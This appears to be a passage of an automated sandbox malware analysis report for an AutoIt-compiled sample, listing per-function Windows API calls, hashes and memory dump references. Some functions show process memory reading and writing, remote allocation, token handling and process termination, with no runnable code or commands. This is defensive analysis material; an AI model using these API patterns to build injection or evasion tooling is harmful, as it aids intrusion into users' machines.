Instruction Fuzzy Hash: ED41C370500700EFD720DF28CC84FBA7BEAEB4A725F044669F9A58B2E1C7319849DB61

Function 006C709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,006C4E41,?,?,00000000,00000001), ref: 006C70AC

Part of subcall function 006C39A0: GetWindowRect.USER32(?,?), ref: 006C39B3

GetDesktopWindow.USER32 ref: 006C70D6
GetWindowRect.USER32(00000000), ref: 006C70DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 006C710F

Part of subcall function 006B5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B52BC

GetCursorPos.USER32(?), ref: 006C713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 006C7199

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 03a4de96312b8960285b01848cfae8cd4840eeb440a4f6ab0a4038febfdf19fe
Instruction ID: 80ef6221c0986206ee161cbb3e33365b9ef5310ab5e24560be31a8aa4a427ac6
Opcode Fuzzy Hash: 03a4de96312b8960285b01848cfae8cd4840eeb440a4f6ab0a4038febfdf19fe
Instruction Fuzzy Hash: 9331D272509305ABD720DF14D849FABB7EAFF88314F04091EF58597291CA30EA09CB92

Function 006A8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006A80C0
Part of subcall function 006A80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006A80CA
Part of subcall function 006A80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006A80D9
Part of subcall function 006A80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006A80E0
Part of subcall function 006A80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006A80F6

GetLengthSid.ADVAPI32(?,00000000,006A842F), ref: 006A88CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 006A88D6
HeapAlloc.KERNEL32(00000000), ref: 006A88DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 006A88F6
GetProcessHeap.KERNEL32(00000000,00000000,006A842F), ref: 006A890A
HeapFree.KERNEL32(00000000), ref: 006A8911

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 778146b4a193360201ff197156515d859ac7b041259ea8c3cecdf716bb2e8b8a
Instruction ID: 5f11e3a5fcb07e88e359579eaf678e7b66c90ab467ef29d111beb71c04c9768c
Opcode Fuzzy Hash: 778146b4a193360201ff197156515d859ac7b041259ea8c3cecdf716bb2e8b8a
Instruction Fuzzy Hash: 5B117F71902209FFDB10AFA8DC09BBF777AEB46315F148169E84697210CB369E45DB60

Function 006A85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 006A85E2
OpenProcessToken.ADVAPI32(00000000), ref: 006A85E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 006A85F8
CloseHandle.KERNEL32(00000004), ref: 006A8603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 006A8632
DestroyEnvironmentBlock.USERENV(00000000), ref: 006A8646

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 4a856de2f7eeb5ff8a350e28cd9d2e18d11328696e23ee19f5470f0db0d4481a
Instruction ID: 123b1d39662532105c283e5d4eaa762681f814f5d80e9e54b9ed0dd60ea60515
Opcode Fuzzy Hash: 4a856de2f7eeb5ff8a350e28cd9d2e18d11328696e23ee19f5470f0db0d4481a
Instruction Fuzzy Hash: 2C115C72901209AFDF01DFA4ED49FEE7BAAEF49304F045065FE05A2260C7719D61DB60

Function 006AB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006AB7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 006AB7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006AB7CD
ReleaseDC.USER32(00000000,00000000), ref: 006AB7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 006AB7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 006AB7FE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: a9b39841ed43460b3c06f9205dfdaa0c0e593fa03b919660d1f11a6b536c23c3
Instruction ID: 35d587813dc382ca54197078a5f88d64b1714c24ef8bcbd1911ed117d39202cf
Opcode Fuzzy Hash: a9b39841ed43460b3c06f9205dfdaa0c0e593fa03b919660d1f11a6b536c23c3
Instruction Fuzzy Hash: 96018475E01209BBEB10ABA69C45A5EBFB9EB49311F004076FA04A7291D671DD00CF90

Function 00670162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00670193
MapVirtualKeyW.USER32(00000010,00000000), ref: 0067019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 006701A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 006701B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 006701B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 006701C1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d96844e4dcb564708030834919a6fe736a1e2b18513b15f147b9cd3d656fb381
Instruction ID: fd2c2dc1c633868f413f8aa23eea9c5f78792c13d348880b57776b812f992860
Opcode Fuzzy Hash: d96844e4dcb564708030834919a6fe736a1e2b18513b15f147b9cd3d656fb381
Instruction Fuzzy Hash: 97016CB09027597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A864CBE5

Function 006B53E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 006B53F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 006B540F
GetWindowThreadProcessId.USER32(?,?), ref: 006B541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006B542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006B5437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006B543E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 68f3f1f55b0ba5d50a6c658edf55d5c771681bce7628858bb885307ec5e6b49a
Instruction ID: 3f269445e64984ab9743707e1bb109d0c81219c25d55c89bc1d757d8a4503ccf
Opcode Fuzzy Hash: 68f3f1f55b0ba5d50a6c658edf55d5c771681bce7628858bb885307ec5e6b49a
Instruction Fuzzy Hash: 49F09032A42158BBE3205BA2DC0DEEF7B7DEFC6B11F00016AFA06D1050DBA05A0186B5

Function 006B7230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 006B7243
EnterCriticalSection.KERNEL32(?,?,00660EE4,?,?), ref: 006B7254
TerminateThread.KERNEL32(00000000,000001F6,?,00660EE4,?,?), ref: 006B7261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00660EE4,?,?), ref: 006B726E

Part of subcall function 006B6C35: CloseHandle.KERNEL32(00000000,?,006B727B,?,00660EE4,?,?), ref: 006B6C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 006B7281
LeaveCriticalSection.KERNEL32(?,?,00660EE4,?,?), ref: 006B7288

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 3dae515c30cae7894b88b18786bc8f54e4419de2b9ee1289e4ccfa817ad18e2a
Instruction ID: 19a3d990dd0fde9ab983614f5d539cd2a13c2457116ad6f9cc0a61c8ffaa0f2a
Opcode Fuzzy Hash: 3dae515c30cae7894b88b18786bc8f54e4419de2b9ee1289e4ccfa817ad18e2a
Instruction Fuzzy Hash: 0DF08276D42612EBD7512BA4ED4CADB773BFF45702B101533F543910A0CB765A41CB90

Function 006A8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 006A899D
UnloadUserProfile.USERENV(?,?), ref: 006A89A9
CloseHandle.KERNEL32(?), ref: 006A89B2
CloseHandle.KERNEL32(?), ref: 006A89BA
GetProcessHeap.KERNEL32(00000000,?), ref: 006A89C3
HeapFree.KERNEL32(00000000), ref: 006A89CA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 06624d57115b1533a490801758b82e2a62128cd789339399435d1315c771d1d4
Instruction ID: 7bf567777ef715ef3411931ef5103153011a2bc78ea4188118cb080025d1ed8a
Opcode Fuzzy Hash: 06624d57115b1533a490801758b82e2a62128cd789339399435d1315c771d1d4
Instruction Fuzzy Hash: A0E0E536905001FBDB012FE5EC0C95ABF7AFF89322B119232F21AC1170CB329420DB90

Function 006A7530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,006E2C7C,?), ref: 006A76EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,006E2C7C,?), ref: 006A7702
CLSIDFromProgID.OLE32(?,?,00000000,006DFB80,000000FF,?,00000000,00000800,00000000,?,006E2C7C,?), ref: 006A7727
_memcmp.LIBCMT ref: 006A7748

Strings

,,n, xrefs: 006A753D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,n
API String ID: 314563124-1563246951
Opcode ID: d3ca5a81ae45c3d9c2ed8725e366284093a9845f76c0fb714b8016e3dd38b23e
Instruction ID: 417dcb93781696575adc66c9d6079c3c605c16b2e7167ef643f383d7ba968538
Opcode Fuzzy Hash: d3ca5a81ae45c3d9c2ed8725e366284093a9845f76c0fb714b8016e3dd38b23e
Instruction Fuzzy Hash: C581EC75A00109EFCB04DFA4C984EEEB7BAFF89315F204559E516AB250DB71AE06CF60

Function 006C85ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006C8613
CharUpperBuffW.USER32(?,?), ref: 006C8722
VariantClear.OLEAUT32(?), ref: 006C889A

Part of subcall function 006B7562: VariantInit.OLEAUT32(00000000), ref: 006B75A2
Part of subcall function 006B7562: VariantCopy.OLEAUT32(00000000,?), ref: 006B75AB
Part of subcall function 006B7562: VariantClear.OLEAUT32(00000000), ref: 006B75B7

Strings

Incorrect Parameter format, xrefs: 006C864B, 006C880D
AUTOIT.ERROR, xrefs: 006C8728

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: f4e5c3e2a61e11050fb0c39a573773ffab375a34811b426d72fad90042124f42
Instruction ID: a53007943e7cadbdeb6a30866a0a7b452a8b2e9cdb3491e6e55f937b75ceb13b
Opcode Fuzzy Hash: f4e5c3e2a61e11050fb0c39a573773ffab375a34811b426d72fad90042124f42
Instruction Fuzzy Hash: 55916C71604341DFC750DF24C484E6AB7E6EF89714F14896EF89A8B361DB31E905CB92

Function 006B2A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0066FC86: _wcscpy.LIBCMT ref: 0066FCA9

_memset.LIBCMT ref: 006B2B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 006B2BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 006B2C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 006B2C97

Strings

0, xrefs: 006B2B73

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: ffb28cbdb38f431d6baaa305ea814cd54f4e3df607ac592859b70221949607c2
Instruction ID: 386dbafd61cdba1f16441ec1540a44a37043e4f7582aaaebb3f2b43d2b099053
Opcode Fuzzy Hash: ffb28cbdb38f431d6baaa305ea814cd54f4e3df607ac592859b70221949607c2
Instruction Fuzzy Hash: 6851F0B15083029BD7A49F28C865AEF7BE6EF89310F044A2DF885D32D0DB70CD848796

Function 00663137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00663277
_memmove.LIBCMT ref: 00663310
_free.LIBCMT ref: 00663336
_memmove.LIBCMT ref: 006633E9

Strings

_f, xrefs: 00663322
3cf, xrefs: 00663225

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove$_free
String ID: 3cf$_f
API String ID: 2620147621-1617663849
Opcode ID: 45393f6719d0d4143b5e8b3e86dc2490c01b81bb75c7d26ce5bf114de62f3fea
Instruction ID: a4151c710ad60b7849b1744439703f1062cfd74bf7884c8ac124014096d4142d
Opcode Fuzzy Hash: 45393f6719d0d4143b5e8b3e86dc2490c01b81bb75c7d26ce5bf114de62f3fea
Instruction Fuzzy Hash: B8514A716083518FDB65CF28C991B6ABBE6AF85314F08882DE989D7351DB31E901CB92

Function 00666192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00666248
_memmove.LIBCMT ref: 006662E4
_memset.LIBCMT ref: 00666308

Strings

3cf, xrefs: 006662AF
ERCP, xrefs: 006661B3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3cf$ERCP
API String ID: 2532777613-1293920239
Opcode ID: 907f5e22ce5a8ef4676971dadab6dbfe5dc89204bee9ff57d7180fc1377baf6c
Instruction ID: 5aebc303d4b4182e4104ed7b2c4579125fc0cb628a06b8d433f32f49caf41c34
Opcode Fuzzy Hash: 907f5e22ce5a8ef4676971dadab6dbfe5dc89204bee9ff57d7180fc1377baf6c
Instruction Fuzzy Hash: 0951B171900305DBDB24DF65D891BEAB7EAEF44304F20856EE54AD7281E770EA45CB40

Function 006A97F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006B14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A9296,?,?,00000034,00000800,?,00000034), ref: 006B14E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 006A983F

Part of subcall function 006B1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 006B14B1

Part of subcall function 006B13DE: GetWindowThreadProcessId.USER32(?,?), ref: 006B1409
Part of subcall function 006B13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,006A925A,00000034,?,?,00001004,00000000,00000000), ref: 006B1419
Part of subcall function 006B13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,006A925A,00000034,?,?,00001004,00000000,00000000), ref: 006B142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006A98AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006A98F9

Strings

@U=u, xrefs: 006A983F, 006A98AC, 006A98F9
@, xrefs: 006A9911

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @$@U=u
API String ID: 4150878124-826235744
Opcode ID: 57570a010b70e79185d75d3716ee28e0cb8d5e25899395e13b5449fd11a0d5a3
Instruction ID: 2616045b9582ff045cbddf065d3ec4609ab389ea3f23792b17bbd29a4e066bdf
Opcode Fuzzy Hash: 57570a010b70e79185d75d3716ee28e0cb8d5e25899395e13b5449fd11a0d5a3
Instruction Fuzzy Hash: 93414176901118BFDB10DFA4CC51ADEBBB9EB06300F144159F945B7191DA716E85CFA0

Function 006B2753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B27C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 006B27DC
DeleteMenu.USER32(?,00000007,00000000), ref: 006B2822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00715890,00000000), ref: 006B286B

Strings

0, xrefs: 006B27B5

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: ea5966cb52cb201f82e5c098d4d87821c85a1e50063def5888e2aaea0d31265c
Instruction ID: d9c776e45f497140f6f2718995c5ea6d7789c25c2449738aae7799fd50dc24ae
Opcode Fuzzy Hash: ea5966cb52cb201f82e5c098d4d87821c85a1e50063def5888e2aaea0d31265c
Instruction Fuzzy Hash: 6E41B2B06043029FD720DF24DC94B9ABBEAEF85314F044A2DF96697392D730E949CB56

Function 006DAB37 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 006DAB60
GetWindowRect.USER32(?,?), ref: 006DABD6
PtInRect.USER32(?,?,006DC014), ref: 006DABE6
MessageBeep.USER32(00000000), ref: 006DAC57

Strings

hW, xrefs: 006DAB9C, 006DABFE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID: hW
